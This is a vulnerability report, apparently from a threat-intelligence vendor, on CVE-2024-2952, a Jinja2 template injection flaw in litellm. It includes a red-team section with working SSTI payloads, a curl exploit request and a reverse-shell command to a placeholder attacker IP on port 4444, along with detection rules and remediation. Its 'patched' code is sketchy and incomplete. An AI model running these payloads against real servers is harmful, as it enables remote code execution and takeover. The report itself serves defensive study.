CVE-2024-2952
Executive Summary
CVE-2024-2952 is a critical Server-Side Template Injection (SSTI) vulnerability in BerriAI/litellm, a popular open-source library for managing large language model (LLM) API calls. The flaw resides in the /completions endpoint, specifically within the hf_chat_template method. This method processes the chat_template parameter from a tokenizer_config.json file through the Jinja template engine without proper sanitization. An unauthenticated attacker can craft a malicious tokenizer_config.json file that, when processed, executes arbitrary code on the server. With a CVSS score of 9.8, this vulnerability poses a severe risk of full system compromise, data exfiltration, and lateral movement within the network.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the PyPI package litellm. Organizations using this package in their LLM infrastructure must immediately assess their exposure. The attack vector involves supplying a malicious tokenizer_config.json file, which could be delivered via a compromised model repository or a man-in-the-middle attack. Supply chain integrity is critical; verify the source of all model configuration files and consider using checksums or signed manifests.
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: High (C:H) – Full data access possible.
- Integrity Impact: High (I:H) – Arbitrary code execution.
- Availability Impact: High (A:H) – Potential for denial of service or full system takeover.
Threat Level: Critical. Immediate patching or mitigation is required.
Deep Dive & Mechanics
The vulnerability is a classic Server-Side Template Injection (SSTI) in the Jinja2 template engine. The hf_chat_template method in litellm is designed to apply a chat template from a Hugging Face model's tokenizer_config.json to format user prompts. The method takes the chat_template string from the JSON and passes it directly to Jinja2's Template class for rendering.
# Vulnerable code snippet (conceptual)
from jinja2 import Template
def hf_chat_template(tokenizer_config):
chat_template_str = tokenizer_config.get("chat_template", "")
template = Template(chat_template_str)
# ... template.render(...) is called later
An attacker can craft a tokenizer_config.json file containing a malicious Jinja2 template. For example:
{
"chat_template": "{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}"
}
When this template is rendered, it executes the id command on the server. The attacker can escalate to a full reverse shell or execute arbitrary commands.
The attack flow:
- Attacker identifies a litellm instance with the
/completionsendpoint exposed. - Attacker sends a request to
/completionswith a craftedtokenizer_config.jsonpayload (e.g., via a model configuration parameter). - The server processes the malicious template, executing the attacker's code.
- The attacker gains remote code execution (RCE) on the server.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
from jinja2 import Template
def hf_chat_template(tokenizer_config):
chat_template_str = tokenizer_config.get("chat_template", "")
template = Template(chat_template_str)
# ... template.render(...) is called later
Patched Code (Conceptual):
from jinja2 import Environment, BaseLoader, select_autoescape
# Use a sandboxed environment
env = Environment(
loader=BaseLoader(),
autoescape=select_autoescape(['html', 'xml']),
# Disable dangerous features
undefined=StrictUndefined,
# Restrict access to builtins
# ... additional sandboxing
)
def hf_chat_template(tokenizer_config):
chat_template_str = tokenizer_config.get("chat_template", "")
# Sanitize or validate the template string
if not is_safe_template(chat_template_str):
raise ValueError("Unsafe template detected")
template = env.from_string(chat_template_str)
# ... template.render(...) is called later
The patched version uses a sandboxed Jinja2 environment with restricted access to dangerous objects and functions. It also validates the template string before rendering.
Exploitation & Lab Setup
Red Team (Attacker)
Lab Setup:
- Deploy a vulnerable litellm instance (e.g., using Docker with an older version).
- Expose the
/completionsendpoint.
Exploitation Steps:
Craft the malicious payload: Create a
tokenizer_config.jsonfile with a Jinja2 SSTI payload. For example, to executewhoami:{ "chat_template": "{{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}" }Send the exploit request: Use
curlto send a POST request to the/completionsendpoint with the malicious configuration.curl -X POST http://target:8000/completions \ -H "Content-Type: application/json" \ -d '{ "model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": "Hello"}], "tokenizer_config": { "chat_template": "{{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}" } }'Achieve RCE: The server will execute the command and return the output in the response. For a reverse shell, use a payload like:
bash -i >& /dev/tcp/attacker_ip/4444 0>&1Encoded in the template:
{ "chat_template": "{{ config.__class__.__init__.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"').read() }}" }
Blue Team (Defender)
Detection Steps:
Monitor for anomalous requests: Look for POST requests to
/completionscontaining suspicious JSON keys liketokenizer_configorchat_template.Inspect server logs: Check for errors related to Jinja2 template rendering or unexpected command execution.
Network monitoring: Detect outbound connections to unknown IPs on unusual ports (e.g., 4444).
File integrity monitoring: Monitor for changes to
tokenizer_config.jsonfiles or unexpected file creation in the application directory.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/completionswithtokenizer_configorchat_templateparameters. - Outbound connections to attacker-controlled IPs on high ports (e.g., 4444, 1337).
- Unusual HTTP response bodies containing command output (e.g.,
uid=1000(app)).
- POST requests to
File IOCs:
- Unexpected
tokenizer_config.jsonfiles in the application directory. - Modified or new files in
/tmp,/var/tmp, or the application root. - Presence of reverse shell scripts or binaries.
- Unexpected
Process IOCs:
- Spawned processes like
bash,sh,nc,python, orperlfrom the litellm process. - High CPU or memory usage from template rendering.
- Spawned processes like
Log IOCs:
- Jinja2 template rendering errors in application logs.
- Command execution logs (if audited) showing unexpected commands.
Detection Engineering
YARA Rule
rule CVE_2024_2952_SSTI_LiteLLM {
meta:
description = "Detects malicious tokenizer_config.json files exploiting CVE-2024-2952"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-2952"
strings:
$ssti1 = "{{" ascii wide
$ssti2 = "{%" ascii wide
$ssti3 = "__class__" ascii wide
$ssti4 = "__init__" ascii wide
$ssti5 = "__globals__" ascii wide
$ssti6 = "popen" ascii wide
$ssti7 = "subprocess" ascii wide
$ssti8 = "os." ascii wide
$ssti9 = "eval" ascii wide
$ssti10 = "exec" ascii wide
condition:
(any of ($ssti*) and #ssti1 > 0) or (any of ($ssti*) and #ssti2 > 0)
}
Sigma Rule
title: CVE-2024-2952 - LiteLLM SSTI Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /completions with suspicious tokenizer_config or chat_template parameters
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-2952
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/completions'
keywords:
- 'tokenizer_config'
- 'chat_template'
- '{{'
- '{%'
- '__class__'
- '__globals__'
- 'popen'
- 'os.'
condition: selection and keywords
falsepositives:
- Legitimate use of custom chat templates (rare)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-2952 LiteLLM SSTI Exploitation Attempt"; flow:to_server; content:"POST"; http_method; content:"/completions"; http_uri; content:"tokenizer_config"; http_client_body; content:"chat_template"; http_client_body; pcre:"/(\{\{|%\}|\_\_class\_\_|\_\_globals\_\_|popen|os\.)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate affected systems: If patching is not possible, isolate the litellm instance from the network.
- Disable the
/completionsendpoint: If not required, block access to this endpoint at the reverse proxy or firewall level. - Input validation: Implement strict validation of the
tokenizer_configparameter. Reject any requests containing Jinja2 template syntax ({{,{%,{#). - Web Application Firewall (WAF): Deploy WAF rules to block requests with SSTI patterns.
Long-term Fixes:
- Patch: Apply the official patch from BerriAI as soon as it becomes available.
- Sandbox Jinja2: Use a sandboxed Jinja2 environment with restricted access to dangerous functions.
- Update dependencies: Ensure all dependencies, especially Jinja2, are up to date.
- Code review: Conduct a thorough code review of all template rendering functions.
Monitoring:
- Enable detailed logging for all
/completionsrequests. - Set up alerts for any detection rules triggered.
- Monitor for outbound connections from the litellm server.
This report was generated by Valters IT DevSecOps & CTI Division. For questions, contact cti@valters-it.com.